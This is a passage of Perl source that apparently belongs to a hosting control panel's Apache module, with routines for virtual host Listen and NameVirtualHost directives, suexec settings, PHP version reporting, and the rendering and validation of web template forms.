local @ports = ( $_[0]->{'web_port'},
$_[0]->{'ssl'} ? ( $_[0]->{'web_sslport'} ) : ( ) );
local ($p, $any);
foreach $p (@ports) {
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'}, $p);
local $ld;
foreach $ld ("CustomLog", "ErrorLog") {
local $custom = &apache::find_directive($ld, $vconf);
if ($custom =~ /^"\|$writelogs_cmd\s+(\S+)\s+(\S+)"(\s*\S*)/) {
# Un-fix logging directive
&$first_print($text{'save_unfix'.lc($ld)});
$custom = "$2$3";
&apache::save_directive($ld, [ $custom ],
$vconf, $conf);
&$second_print($text{'setup_done'});
$any++;
}
}
}
if ($any) {
&flush_file_lines();
®ister_post_action(\&restart_apache);
}
}
# get_writelogs_status(&domain)
# Returns 1 if some domain is doing logging via a program
sub get_writelogs_status
{
local ($virt, $vconf) = &get_apache_virtual($_[0]->{'dom'},
$_[0]->{'web_port'});
local $custom = &apache::find_directive("CustomLog", $vconf);
return $custom =~ /^"\|$writelogs_cmd\s+(\S+)\s+(\S+)"(\s*\S*)/ ? 1 : 0;
}
# get_website_file(&domain)
# Returns the file to add a new website to, and optionally a flag indicating
# that this is a new file.
sub get_website_file
{
&require_apache();
local $vfile = $apache::config{'virt_file'} ?
&apache::server_root($apache::config{'virt_file'}) :
undef;
local ($rv, $newfile);
if ($vfile) {
if (!-d $vfile) {
$rv = $vfile;
}
else {
local $tmpl = $apache::config{'virt_name'} || '${DOM}.conf';
$rv = "$vfile/".&substitute_domain_template($tmpl, $_[0]);
$newfile = 1;
}
}
else {
local $vconf = &apache::get_virtual_config();
$rv = $vconf->[0]->{'file'};
}
$rv =~ s/\/+/\//g; # Fix use of //
return wantarray ? ($rv, $newfile) : $rv;
}
# get_apache_user([&domain])
# Returns the Unix user that the Apache process runs as, such as www or httpd
sub get_apache_user
{
if ($_[0]) {
local $tmpl = &get_template($_[0]->{'template'});
return $tmpl->{'web_user'} if ($tmpl->{'web_user'} &&
defined(getpwnam($tmpl->{'web_user'})));
}
foreach $u ("httpd", "apache", "www", "www-data", "wwwrun", "nobody") {
return $u if (defined(getpwnam($u)));
}
return undef; # won't happen!
}
# sysinfo_web()
# Returns the Apache and mod_php versions
sub sysinfo_web
{
&require_apache();
local $ver = $apache::httpd_modules{'core'};
$ver =~ s/^(\d+)\.(\d)(\d+)$/$1.$2.$3/;
local @rv = ( [ $text{'sysinfo_apache'}, $ver ] );
if (defined(&list_available_php_versions)) {
local @avail = &list_available_php_versions();
local @vers;
foreach my $a (grep { $_->[1] } @avail) {
&clean_environment();
local $out = &backquote_command("$a->[1] -v 2>&1 </dev/null");
&reset_environment();
if ($out =~ /PHP\s+([0-9\.]+)/) {
push(@vers, $1);
}
else {
push(@vers, $a->[0]);
}
}
if (@vers) {
push(@rv, [ $text{'sysinfo_php'}, join(", ", @vers) ]);
}
}
return @rv;
}
# add_name_virtual(&domain, $conf, port, star-doesnt-match, ip-string)
# Adds a NameVirtualHost entry for some domain, if needed. Returns 1 there is
# an existing NameVirtualHost entry for * or *:80 .
# For Apache 2.2 and above, NameVirtualHost * will no longer match
# virtualhosts like *:80, so we need to add *:80 even if * is already there.
# Returns 1 if there is a NameVirtualHost directive for *, 0 if not.
sub add_name_virtual
{
local ($d, $conf, $web_port, $no_star_match, $ip) = @_;
&require_apache();
if ($apache::httpd_modules{'core'} >= 2.4) {
# Apache 2.4 doesn't need NameVirtualHost any more.
# However, check if any existing <VirtualHost> uses *, which means that
# subsequent ones should as well. Otherwise, they can just use IPs.
local @virt = &apache::find_directive_struct("VirtualHost", $conf);
foreach my $v (@virt) {
if ($v->{'words'}->[0] =~ /^\*/) {
return 1;
}
}
return 0;
}
local $nvstar;
if ($d->{'name'}) {
local ($found, $found_no_port);
local $defport = &apache::find_directive("Port", $conf);
$defport ||= 80;
local @nv = &apache::find_directive("NameVirtualHost", $conf);
local $canstar = $apache::httpd_modules{'core'} < 2.2;
foreach my $nv (@nv) {
$found++ if ($nv =~ /^(\S+):(\S+)/ && # Like x.x.x.x:80
$1 eq $ip &&
$2 == $web_port ||
$nv eq '*' && $canstar && # Like *
$defport == $web_port ||
$nv =~ /^\*:(\d+)$/ # Like *:80
&& $1 == $web_port
&& !$no_star_match);
$found_no_port++ if ($nv eq $ip);
$nvstar++ if ($nv eq '*' && $canstar && # Like *
$defport == $web_port ||
$nv =~ /^\*:(\d+)$/ && # Like *:80
$1 == $web_port);
}
if (!$found) {
@nv = grep { $_ ne $ip } @nv if ($found_no_port);
&apache::save_directive("NameVirtualHost",
[ @nv, "$ip:$web_port" ],
$conf, $conf);
&flush_file_lines();
}
}
return $nvstar;
}
# add_listen(&domain, &conf, port)
# Adds a Listen directive for some domain's port, if needed
sub add_listen
{
local ($d, $conf, $web_port) = @_;
&require_apache();
foreach my $dip ($d->{'ip'}, $d->{'ip6'} ? ( $d->{'ip6'} ) : ( )) {
local $defport = &apache::find_directive("Port", $conf) || 80;
local @listen = &apache::find_directive("Listen", $conf);
local $lfound;
foreach my $l (@listen) {
$l =~ s/\s\S+$//; # Remove trailing port name
$lfound++ if (($l eq '*' && $web_port == $defport) ||
($l =~ /^\*:(\d+)$/ && $web_port == $1) ||
($l =~ /^0\.0\.0\.0:(\d+)$/ && $web_port == $1) ||
($l =~ /^\d+$/ && $web_port == $l) ||
($l =~ /^(\S+):(\d+)$/ &&
&to_ipaddress("$1") eq $dip &&
$2 == $web_port) ||
($l =~ /^\[(\S+)\]:(\d+)$/ &&
&to_ip6address("$1") eq $dip &&
$2 == $web_port) ||
($l !~ /:/ && &to_ipaddress($l) eq $dip));
}
if (!$lfound && @listen > 0) {
# Apache is listening on some IP addresses and ports, but not
# the needed one. Add a listen for that IP specifically.
# Listening on * is no longer done, as it can cause conflicts
# with other servers on port 443 or 80 and other IPs.
local $ip = &check_ip6address($dip) ? "[$dip]" : $dip;
&apache::save_directive("Listen", [ @listen, "$ip:$web_port" ],
$conf, $conf);
&flush_file_lines();
}
}
}
# remove_listen(&domain, &conf, port)
# Remove any Listen directive that exactly matches the domain's IP and the
# given port, if and only if the domain has a private IP address
sub remove_listen
{
local ($d, $conf, $web_port) = @_;
if ($d->{'virt'} && !$d->{'name'}) {
local @listen = &apache::find_directive("Listen", $conf);
local @newlisten = grep { $_ ne "$d->{'ip'}:$web_port" } @listen;
if ($d->{'ip6'}) {
@newlisten = grep { $_ ne "[$d->{'ip6'}]:$web_port" } @listen;
}
if (scalar(@listen) != scalar(@newlisten)) {
&apache::save_directive("Listen", \@newlisten,
$conf, $conf);
&flush_file_lines();
}
}
}
sub links_web
{
local ($d) = @_;
local @rv;
local ($link, $slink);
if (&get_webmin_version() < 1.582) {
&require_apache();
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'},
$d->{'web_port'});
$link = &indexof($virt, @$conf);
if ($d->{'ssl'}) {
local ($svirt, $svconf) = &get_apache_virtual($d->{'dom'},
$d->{'web_sslport'});
$slink = &indexof($svirt, @$conf);
}
}
else {
$link = $d->{'dom'}.":".$d->{'web_port'};
$slink = $d->{'dom'}.":".$d->{'web_sslport'};
}
# Link to configure virtual host
push(@rv, { 'mod' => 'apache',
'desc' => $text{'links_web'},
'page' => "virt_index.cgi?virt=".$link,
'cat' => 'services',
});
if ($d->{'ssl'}) {
# Link to configure SSL virtual host
push(@rv, { 'mod' => 'apache',
'desc' => $text{'links_ssl'},
'page' => "virt_index.cgi?virt=".$slink,
'cat' => 'services',
});
}
# Links to logs
foreach my $log ([ 0, $text{'links_alog'} ],
[ 1, $text{'links_elog'} ]) {
local $lf = &get_apache_log($d->{'dom'},
$d->{'web_port'}, $log->[0]);
if ($lf) {
local $param = &master_admin() ? "file"
: "extra";
push(@rv, { 'mod' => 'syslog',
'desc' => $log->[1],
'page' => "save_log.cgi?view=1&".
"$param=".&urlize($lf),
'cat' => 'logs',
});
}
}
# Links to edit PHP configs
foreach my $ini (&find_domain_php_ini_files($d)) {
push(@rv, { 'mod' => 'phpini',
'desc' => $ini->[0] ?
&text('links_phpini2', $ini->[0]) :
&text('links_phpini'),
'page' => 'list_ini.cgi?file='.
&urlize($ini->[1]),
'cat' => 'services',
});
}
return @rv;
}
# startstop_web([&typestatus])
# Returns a hash containing the current status of the web service and short
# and long descriptions for the action to switch statuses
sub startstop_web
{
local ($typestatus) = @_;
local $apid = defined($typestatus->{'apache'}) ?
$typestatus->{'apache'} == 1 : &get_apache_pid();
local @links = ( { 'link' => '/apache/',
'desc' => $text{'index_amanage'},
'manage' => 1 } );
if ($apid) {
return ( { 'status' => 1,
'name' => $text{'index_aname'},
'desc' => $text{'index_astop'},
'restartdesc' => $text{'index_arestart'},
'longdesc' => $text{'index_astopdesc'},
'links' => \@links } );
}
else {
return ( { 'status' => 0,
'name' => $text{'index_aname'},
'desc' => $text{'index_astart'},
'longdesc' => $text{'index_astartdesc'},
'links' => \@links } );
}
}
# start_service_web()
# Attempts to start the web service, returning undef on success or any error
# message on failure.
sub start_service_web
{
&require_apache();
return &apache::start_apache();
}
# start_service_web()
# Attempts to stop the web service, returning undef on success or any error
# message on failure.
sub stop_service_web
{
&require_apache();
local $err = &apache::stop_apache();
sleep(1) if (!$err);
return $err;
}
# show_template_web(&tmpl)
# Outputs HTML for editing apache related template options
sub show_template_web
{
local ($tmpl) = @_;
local @allvers = &unique(map { $_->[0] } &list_available_php_versions());
# Work out fields to disable
local @webfields = ( "web", "suexec", "user_def",
$tmpl->{'writelogs'} ? ( "writelogs" ) : ( ),
"html_dir", "html_dir_def", "html_perms", "stats_mode",
"stats_dir", "stats_hdir", "statspass", "statsnoedit",
"alias_mode", "web_port", "web_sslport",
"web_webmin_ssl", "web_usermin_ssl", "web_ssi",
"web_ssi_suffix", );
push(@webfields, "webmail", "webmaildom", "webmaildom_def",
"admin", "admindom", "admindom_def");
push(@webfields, "web_php_suexec", "web_phpver",
"web_phpchildren", "web_php_noedit");
foreach my $phpver (@allvers) {
push(@webfields, "web_php_ini_".$phpver,
"web_php_ini_".$phpver."_def");
}
if (defined(&get_domain_ruby_mode)) {
push(@webfields, "web_ruby_suexec");
}
local $ndi = &none_def_input("web", $tmpl->{'web'}, $text{'tmpl_webbelow'}, 1,
0, undef, \@webfields);
print &ui_table_row(&hlink($text{'tmpl_web'}, "template_web"),
$ndi."<br>\n".
&ui_textarea("web", $tmpl->{'web'} eq "none" ? "" :
join("\n", split(/\t/, $tmpl->{'web'})),
10, 60));
# Input for adding suexec directives
print &ui_table_row(&hlink($text{'newweb_suexec'}, "template_suexec"),
&ui_yesno_radio("suexec", $tmpl->{'web_suexec'} ? 1 : 0));
# Input for logging via program. Deprecated, so don't show unless enabled
if ($tmpl->{'web_writelogs'}) {
print &ui_table_row(&hlink($text{'newweb_writelogs'},
"template_writelogs"),
&ui_yesno_radio("writelogs", $tmpl->{'web_writelogs'} ? 1 : 0));
}
# Input for Apache user to add to domain's group
print &ui_table_row(&hlink($text{'newweb_user'}, "template_user_def"),
&ui_radio("user_def", $tmpl->{'web_user'} eq 'none' ? 2 :
$tmpl->{'web_user'} ? 1 : 0,
[ [ 2, $text{'no'}."<br>" ],
[ 0, $text{'newweb_userdef'}."<br>" ],
[ 1, $text{'newweb_useryes'}." ".
&ui_user_textbox("user", $tmpl->{'web_user'} eq 'none' ?
'' : $tmpl->{'web_user'}) ] ]));
# HTML sub-directory input
print &ui_table_row(&hlink($text{'newweb_htmldir'}, "template_html_dir_def"),
&ui_opt_textbox("html_dir", $tmpl->{'web_html_dir'}, 20,
"$text{'default'} (<tt>public_html</tt>)<br>",
$text{'newweb_htmldir0'})."<br>\n".
(" " x 3).$text{'newweb_htmldir0suf'});
local $hdir = $tmpl->{'web_html_dir'} || "public_html";
# HTML directory permissions
print &ui_table_row(&hlink($text{'newweb_htmlperms'}, "template_html_perms"),
&ui_textbox("html_perms", $tmpl->{'web_html_perms'}, 4));
# Webalizer stats sub-directory input
local $smode = $tmpl->{'web_stats_hdir'} ? 2 :
$tmpl->{'web_stats_dir'} ? 1 : 0;
print &ui_table_row(&hlink($text{'newweb_statsdir'}, "template_stats_dir"),
&ui_radio("stats_mode", $smode,
[ [ 0, "$text{'default'} (<tt>$hdir/stats</tt>)<br>" ],
[ 1, &text('newweb_statsdir0', "<tt>$hdir</tt>")."\n".
&ui_textbox("stats_dir",
$tmpl->{'web_stats_dir'}, 20)."<br>" ],
[ 2, &text('newweb_statsdir2', "<tt>$hdir</tt>")."\n".
&ui_textbox("stats_hdir",
$tmpl->{'web_stats_hdir'}, 20) ] ]));
# Password-protect webalizer dir
print &ui_table_row(&hlink($text{'newweb_statspass'}, "template_statspass"),
&ui_radio("statspass", $tmpl->{'web_stats_pass'} ? 1 : 0,
[ [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ]));
# Allow editing of Webalizer report
print &ui_table_row(&hlink($text{'newweb_statsedit'}, "template_statsedit"),
&ui_radio("statsnoedit", $tmpl->{'web_stats_noedit'} ? 1 : 0,
[ [ 0, $text{'yes'} ], [ 1, $text{'no'} ] ]));
# Alias mode
print &ui_table_row(&hlink($text{'tmpl_alias'}, "template_alias_mode"),
&ui_radio("alias_mode", int($tmpl->{'web_alias'}),
[ [ 0, $text{'tmpl_alias0'}."<br>" ],
[ 4, $text{'tmpl_alias4'}."<br>" ],
[ 2, $text{'tmpl_alias2'}."<br>" ],
[ 1, $text{'tmpl_alias1'} ] ]));
# Default SSI setting
print &ui_table_row(
&hlink($text{'tmpl_webssi'}, "template_webssi"),
&ui_radio("web_ssi", $tmpl->{'web_ssi'},
[ [ 1, &text('phpmode_ssi1',
&ui_textbox("web_ssi_suffix",
$tmpl->{'web_ssi_suffix'}, 6)) ],
[ 0, $text{'no'} ],
[ 2, $text{'phpmode_ssi2'} ] ]));
# Port for normal webserver
print &ui_table_row(&hlink($text{'newweb_port'}, "template_web_port"),
&ui_textbox("web_port", $tmpl->{'web_port'}, 6));
# Port for SSL webserver
print &ui_table_row(&hlink($text{'newweb_sslport'}, "template_web_sslport"),
&ui_textbox("web_sslport", $tmpl->{'web_sslport'}, 6));
# URL port for normal webserver
print &ui_table_row(
&hlink($text{'newweb_urlport'}, "template_web_urlport"),
&ui_opt_textbox("web_urlport", $tmpl->{'web_urlport'}, 6,
$text{'newweb_sameport'}));
# URL port for SSL webserver
print &ui_table_row(
&hlink($text{'newweb_urlsslport'}, "template_web_urlsslport"),
&ui_opt_textbox("web_urlsslport", $tmpl->{'web_urlsslport'}, 6,
$text{'newweb_sameport'}));
# Setup matching Webmin/Usermin SSL cert
print &ui_table_row(&hlink($text{'newweb_webmin'},
"template_web_webmin_ssl"),
&ui_radio("web_webmin_ssl",
$tmpl->{'web_webmin_ssl'} ? 1 : 0,
[ [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ]));
print &ui_table_row(&hlink($text{'newweb_usermin'},
"template_web_usermin_ssl"),
&ui_radio("web_usermin_ssl",
$tmpl->{'web_usermin_ssl'} ? 1 : 0,
[ [ 1, $text{'yes'} ], [ 0, $text{'no'} ] ]));
# Add rewrites for webmail and admin
print &ui_table_hr();
foreach my $r ('webmail', 'admin') {
print &ui_table_row(&hlink($text{'newweb_'.$r},
"template_".$r),
&ui_yesno_radio($r, $tmpl->{'web_'.$r} ? 1 : 0));
# Domain name to use in webmail redirect
print &ui_table_row(&hlink($text{'newweb_'.$r.'dom'},
"template_".$r."dom"),
&ui_opt_textbox($r."dom",
$tmpl->{'web_'.$r.'dom'}, 40,
$text{'newweb_webmailsame'}));
}
print &ui_table_hr();
# Run PHP scripts as user
print &ui_table_row(
&hlink($text{'tmpl_phpmode'}, "template_phpmode"),
&ui_radio("web_php_suexec", int($tmpl->{'web_php_suexec'}),
[ [ 0, $text{'phpmode_mod_php'}."<br>" ],
[ 1, $text{'phpmode_cgi'}."<br>" ],
[ 2, $text{'phpmode_fcgid'}."<br>" ] ]));
# Default PHP version to setup
print &ui_table_row(
&hlink($text{'tmpl_phpver'}, "template_phpver"),
&ui_select("web_phpver", $tmpl->{'web_phpver'},
[ [ "", $text{'tmpl_phpverdef'} ],
map { my $fullver = &get_php_version($_->[1]);
[ $_->[0], $fullver || $_->[0] ] }
&list_available_php_versions() ]));
# Default number of PHP child processes
print &ui_table_row(
&hlink($text{'tmpl_phpchildren'}, "template_phpchildren"),
&ui_opt_textbox("web_phpchildren", $tmpl->{'web_phpchildren'},
5, $text{'tmpl_phpchildrennone'}));
# Source php.ini files
foreach my $phpver (@allvers) {
print &ui_table_row(
&hlink(&text('tmpl_php_iniv', $phpver), "template_php_ini"),
&ui_opt_textbox("web_php_ini_$phpver",
$tmpl->{'web_php_ini_'.$phpver},
40, $text{'default'}));
}
# Allow editing of PHP configs
print &ui_table_row(
&hlink($text{'tmpl_php_noedit'}, "template_php_noedit"),
&ui_radio("web_php_noedit", $tmpl->{'web_php_noedit'},
[ [ 0, $text{'yes'} ], [ 1, $text{'no'} ] ]));
if (defined(&get_domain_ruby_mode)) {
# Run ruby scripts as user
print &ui_table_row(
&hlink($text{'tmpl_rubymode'}, "template_rubymode"),
&ui_radio("web_ruby_suexec", int($tmpl->{'web_ruby_suexec'}),
[ [ -1, $text{'phpmode_noruby'}."<br>" ],
[ 0, $text{'phpmode_mod_ruby'}."<br>" ],
[ 1, $text{'phpmode_cgi'}."<br>" ] ]));
}
print &ui_table_hr();
# Webalizer template
print &ui_table_row(&hlink($text{'tmpl_webalizer'},
"template_webalizer"),
&none_def_input("webalizer", $tmpl->{'webalizer'},
$text{'tmpl_webalizersel'}, 0, 0,
$text{'tmpl_webalizernone'}, [ "webalizer" ])."\n".
&ui_textbox("webalizer", $tmpl->{'webalizer'} eq "none" ?
"" : $tmpl->{'webalizer'}, 40));
print &ui_table_hr();
# PHP variables for scripts
local $i = 0;
local @pv = $tmpl->{'php_vars'} eq "none" ? ( ) :
split(/\t+/, $tmpl->{'php_vars'});
local @pfields;
local @table;
foreach $pv (@pv, "", "") {
local ($n, $v) = split(/=/, $pv, 2);
local $diff = $n =~ s/^(\+|\-)// ? $1 : undef;
push(@table, [ &ui_textbox("phpname_$i", $n, 25),
&ui_select("phpdiff_$i", $diff,
[ [ '', $text{'tmpl_phpexact'} ],
[ '+', $text{'tmpl_phpatleast'} ],
[ '-', $text{'tmpl_phpatmost'} ] ]),
&ui_textbox("phpval_$i", $v, 35), ]);
push(@pfields, "phpname_$i", "phpdiff_$i", "phpval_$i");
$i++;
}
local $ptable = &ui_columns_table(
[ $text{'tmpl_phpname'}, $text{'tmpl_phpdiff'}, $text{'tmpl_phpval'} ],
undef,
\@table,
undef,
1);
print &ui_table_row(
&hlink($text{'tmpl_php_vars'}, "template_php_vars"),
&none_def_input("php_vars", $tmpl->{'php_vars'},
$text{'tmpl_disabled_websel'}, 0, 0, undef,
\@pfields)."<br>\n".
$ptable);
print &ui_table_hr();
# Disabled website HTML
print &ui_table_row(&hlink($text{'tmpl_disabled_web'},
'disabled_web'),
&none_def_input("disabled_web", $tmpl->{'disabled_web'},
$text{'tmpl_disabled_websel'}, 0, 0,
$text{'tmpl_disabled_webdef'}, [ "disabled_web" ])."<br>\n".
&ui_textarea("disabled_web",
$tmpl->{'disabled_web'} eq "none" ? undef :
join("\n", split(/\t/, $tmpl->{'disabled_web'})),
5, 50));
# Disabled website URL
$url = $tmpl->{'disabled_url'};
$url = "" if ($url eq "none");
print &ui_table_row(&hlink($text{'tmpl_disabled_url'},
'disabled_url'),
&none_def_input("disabled_url", $tmpl->{'disabled_url'},
&text('tmpl_disabled_urlsel',
&ui_textbox("disabled_url", $url, 30)), 0, 0,
$text{'tmpl_disabled_urlnone'}, [ "disabled_url" ]));
if ($config{'proxy_pass'} == 2) {
# Frame-forwarding HTML (if enabled)
print &ui_table_hr();
print &ui_table_row(&hlink($text{'tmpl_frame'}, "template_frame"),
&none_def_input("frame", $tmpl->{'frame'},
$text{'tmpl_framebelow'}, 1, 0, undef,
[ "frame" ])."<br>".
&ui_textarea("frame", $tmpl->{'frame'} eq "none" ? undef :
join("\n", split(/\t/, $tmpl->{'frame'})),
10, 60));
}
}
# parse_template_web(&tmpl)
# Updates apache related template options from %in
sub parse_template_web
{
local ($tmpl) = @_;
# Save web-related settings
$old_web_port = $web_port;
$old_web_sslport = $web_sslport;
$tmpl->{'web'} = &parse_none_def("web");
if ($in{"web_mode"} == 2) {
$err = &check_apache_directives($in{"web"});
&error($err) if ($err);
$tmpl->{'web_suexec'} = $in{'suexec'};
if (defined($in{'writelogs'})) {
$tmpl->{'web_writelogs'} = $in{'writelogs'};
}
if ($in{'html_dir_def'}) {
delete($tmpl->{'web_html_dir'});
}
else {
$in{'html_dir'} =~ /^\S+$/ && $in{'html_dir'} !~ /^\// &&
$in{'html_dir'} !~ /\.\./ || &error($text{'newweb_ehtml'});
$tmpl->{'web_html_dir'} = $in{'html_dir'};
}
$in{'html_perms'} =~ /^[0-7]{3,4}$/ ||
&error($text{'newweb_ehtmlperms'});
$tmpl->{'web_html_perms'} = $in{'html_perms'};
delete($tmpl->{'web_stats_dir'});
delete($tmpl->{'web_stats_hdir'});
$smode = $in{'stats_mode'} == 1 ? "stats_dir" :
$in{'stats_mode'} == 2 ? "stats_hdir" : undef;
if ($smode) {
$in{$smode} =~ /^\S+$/ && $in{$smode} !~ /^\// &&
$in{$smode} !~ /\.\./ || &error($text{'newweb_estats'});
$tmpl->{"web_".$smode} = $in{$smode};
}
$tmpl->{'web_stats_pass'} = $in{'statspass'};
$tmpl->{'web_stats_noedit'} = $in{'statsnoedit'};
if ($in{'user_def'} == 0) {
delete($tmpl->{'web_user'});
}
elsif ($in{'user_def'} == 2) {
$tmpl->{'web_user'} = 'none';
}
else {
defined(getpwnam($in{'user'})) || &error($text{'newweb_euser'});
$tmpl->{'web_user'} = $in{'user'};
}
$tmpl->{'web_alias'} = $in{'alias_mode'};
$in{'web_port'} =~ /^\d+$/ && $in{'web_port'} > 0 &&
$in{'web_port'} < 65536 || &error($text{'newweb_eport'});
$tmpl->{'web_port'} = $in{'web_port'};
$in{'web_sslport'} =~ /^\d+$/ && $in{'web_sslport'} > 0 &&
$in{'web_sslport'} < 65536 ||
&error($text{'newweb_esslport'});
$in{'web_port'} != $in{'web_sslport'} ||
&error($text{'newweb_esslport2'});
$tmpl->{'web_sslport'} = $in{'web_sslport'};
$in{'web_urlport_def'} || $in{'web_urlport'} =~ /^\d+$/ ||
&error($text{'newweb_eport'});
$tmpl->{'web_urlport'} = $in{'web_urlport_def'} ?
undef : $in{'web_urlport'};
$in{'web_urlsslport_def'} || $in{'web_urlsslport'} =~ /^\d+$/ ||
&error($text{'newweb_esslport'});
$tmpl->{'web_urlsslport'} = $in{'web_urlsslport_def'} ?
undef : $in{'web_urlsslport'};
$tmpl->{'web_webmin_ssl'} = $in{'web_webmin_ssl'};
$tmpl->{'web_usermin_ssl'} = $in{'web_usermin_ssl'};
# Parse SSI setting
$tmpl->{'web_ssi'} = $in{'web_ssi'};
if ($in{'web_ssi'} == 1) {
$in{'web_ssi_suffix'} =~ /^\.([a-z0-9\.\_\-]+)$/i ||
&error($text{'phpmode_essisuffix'});
$tmpl->{'web_ssi_suffix'} = $in{'web_ssi_suffix'};
}
# Parse webmail redirect
foreach my $r ('webmail', 'admin') {
$tmpl->{'web_'.$r} = $in{$r};
if ($in{$r.'dom_def'}) {
delete($tmpl->{'web_'.$r.'dom'});
}
else {
$in{$r.'dom'} =~ /^(http|https):\/\/\S+$/ ||
&error($text{'newweb_e'.$r.'dom'});
$tmpl->{'web_'.$r.'dom'} = $in{$r.'dom'};
}
}
# Save PHP settings
&require_apache();
if ($in{'web_php_suexec'}) {
$in{'suexec'} ||
&error($text{'tmpl_ephpsuexec'});
&has_command("php") ||
&error($text{'tmpl_ephpcmd'});
}
$tmpl->{'web_php_suexec'} = $in{'web_php_suexec'};
$tmpl->{'web_phpver'} = $in{'web_phpver'};
if ($in{'web_phpchildren_def'} ||
!defined($in{'web_phpchildren_def'})) {
$tmpl->{'web_phpchildren'} = undef;
}
else {
if ($in{'web_phpchildren'} < 1 ||
$in{'web_phpchildren'} > $max_php_fcgid_children) {
&error(&text('phpmode_echildren',
$max_php_fcgid_children));
}
$tmpl->{'web_phpchildren'} = $in{'web_phpchildren'};
}
foreach my $phpver (&unique(map { $_->[0] }
&list_available_php_versions())) {
$in{'web_php_ini_'.$phpver.'_def'} ||
-r $in{'web_php_ini_'.$phpver} ||
&error($text{'tmpl_ephpini'});
$tmpl->{'web_php_ini_'.$phpver} =
$in{'web_php_ini_'.$phpver.'_def'} ? undef
: $in{'web_php_ini_'.$phpver};
}
$tmpl->{'web_php_noedit'} = $in{'web_php_noedit'};
# Save ruby settings
if (defined(&get_domain_ruby_mode)) {
if ($in{'web_ruby_suexec'} > 0) {
&has_command("ruby") ||
&error($text{'tmpl_erubycmd'});
}
$tmpl->{'web_ruby_suexec'} = $in{'web_ruby_suexec'};
}
}
$tmpl->{'webalizer'} = &parse_none_def("webalizer");
if ($in{"webalizer_mode"} == 2) {
-r $in{'webalizer'} || &error($text{'tmpl_ewebalizer'});
}
$tmpl->{'disabled_web'} = &parse_none_def("disabled_web");
if ($in{'disabled_url_mode'} == 2) {
$in{'disabled_url'} =~ /^(http|https):\/\/\S+/ ||
&error($text{'tmpl_edisabled_url'});
}
$tmpl->{'disabled_url'} = &parse_none_def("disabled_url");
# Save PHP variables
if ($in{"php_vars_mode"} == 0) {
$tmpl->{'php_vars'} = "none";
}
elsif ($in{"php_vars_mode"} == 1) {
delete($tmpl->{'php_vars'});
}
elsif ($in{"php_vars_mode"} == 2) {
for($i=0; defined($n = $in{"phpname_$i"}); $i++) {
next if (!$n);
$n =~ /^\S+$/ ||
&error(&text('tmpl_ephp_var', $n));
$v = $in{"phpval_$i"};
$diff = $in{"phpdiff_$i"};
push(@phpvars, $diff.$n."=".$v);
}
$tmpl->{'php_vars'} = join("\t", @phpvars);
}
if ($config{'proxy_pass'} == 2) {
# Save frame-forwarding settings
$tmpl->{'frame'} = &parse_none_def("frame");
}
}
# postsave_template_web(&template)
# Called after a template is saved
sub postsave_template_web
{
if ($tmpl->{'id'} == 0) {
# If the web or SSL ports were changed, all existing virtual hosts
# should be updated with the *old* setting to that we know what port
# they were created on
if ($old_web_port != $in{'web_port'} ||
$old_web_sslport != $in{'web_sslport'}) {
foreach $d (&list_domains()) {
&save_domain($d);
}
}
}
}
# show_template_phpwrappers(&template)
# Outputs HTML for setting custom PHP wrapper scripts
sub show_template_phpwrappers
{
local ($tmpl) = @_;
foreach my $w (@php_wrapper_templates) {
local $ndi = &none_def_input($w, $tmpl->{$w},
$text{'tmpl_wrapperbelow'}, 0, 0,
$text{'tmpl_wrappernone'}, [ $w ]);
print &ui_table_row(&hlink($text{'tmpl_'.$w}, "template_".$w),
$ndi."<br>".
&ui_textarea($w, $tmpl->{$w} eq "none" ? "" :
join("\n", split(/\t/, $tmpl->{$w})),
5, 60));
}
}
# parse_template_phpwrappers(&template)
# Update the template with inputs from show_template_phpwrappers
sub parse_template_phpwrappers
{
local ($tmpl) = @_;
foreach my $w (@php_wrapper_templates) {
if ($in{$w."_mode"} == 0) {
$tmpl->{$w} = 'none';
}
elsif ($in{$w."_mode"} == 1) {
delete($tmpl->{$w});
}
elsif ($in{$w."_mode"} == 2) {
$in{$w} =~ s/\r//g;
$in{$w} =~ /^\#\!/ || &error($text{'tmpl_e'.$w});
$tmpl->{$w} = $in{$w};
$tmpl->{$w} =~ s/\n/\t/g;
}
}
}
# get_domain_suexec(&domain)
# Returns 1 if some virtual host is setup to use suexec
sub get_domain_suexec
{
local ($d) = @_;
&require_apache();
local ($virt, $vconf) = &get_apache_virtual($d->{'dom'}, $d->{'web_port'});
if ($apache::httpd_modules{'core'} >= 2.0) {
# Look for SuexecUserGroup
local $su = &apache::find_directive("SuexecUserGroup", $vconf);
return $su ? 1 : 0;
}
else {
# Look for User and Group
local $u = &apache::find_directive("User", $vconf);
local $g = &apache::find_directive("Group", $vconf);
return $u && $g ? 1 : 0;
}
}
# save_domain_suexec(&domain, enabled)
# Enables or disables suexec for some virtual host
sub save_domain_suexec
{
local ($d, $mode) = @_;
&require_apache();
local @ports;
push(@ports, $d->{'web_port'}) if ($d->{'web'});
push(@ports, $d->{'web_sslport'}) if ($d->{'ssl'});
foreach my $port (@ports) {
local ($virt, $vconf, $conf) = &get_apache_virtual($d->{'dom'}, $port);
next if (!$virt);
local $pdom = $d->{'parent'} ? &get_domain($d->{'parent'}) : $d;
if ($apache::httpd_modules{'core'} >= 2.0) {
# Add or remove SuexecUserGroup
&apache::save_directive("SuexecUserGroup",
$mode ? [ "\"#$pdom->{'uid'}\" \"#$pdom->{'gid'}\"" ] : [],
$vconf, $conf);
}
else {
# Add or remove User and Group directives
&apache::save_directive("User",
$mode ? [ "\"#$pdom->{'uid'}\"" ] : [ ], $vconf, $conf);
&apache::save_directive("Group",
$mode ? [ "\"#$pdom->{'gid'}\"" ] : [ ], $vconf, $conf);
}
&flush_file_lines($virt->{'file'});
}
®ister_post_action(\&restart_apache);
}
# add_script_language_directives(&domain, &tmpl, port)
# Adds directives needed to enable PHP, Ruby and other languages to the
# <virtualhost> for some new domain.
sub add_script_language_directives
{
local ($d, $tmpl, $port) = @_;
if (defined(&save_domain_php_mode)) {
&require_apache();
if ($tmpl->{'web_php_suexec'} == 1 ||
$tmpl->{'web_php_suexec'} == 2 &&
!$apache::httpd_modules{'mod_fcgid'}) {
# Create cgi wrappers for PHP 4 and 5
&save_domain_php_mode($d, "cgi", $port, 1);
}
elsif ($tmpl->{'web_php_suexec'} == 2) {
# Add directives for FastCGId
&save_domain_php_mode($d, "fcgid", $port, 1);
}
}
if (defined(&save_domain_ruby_mode)) {
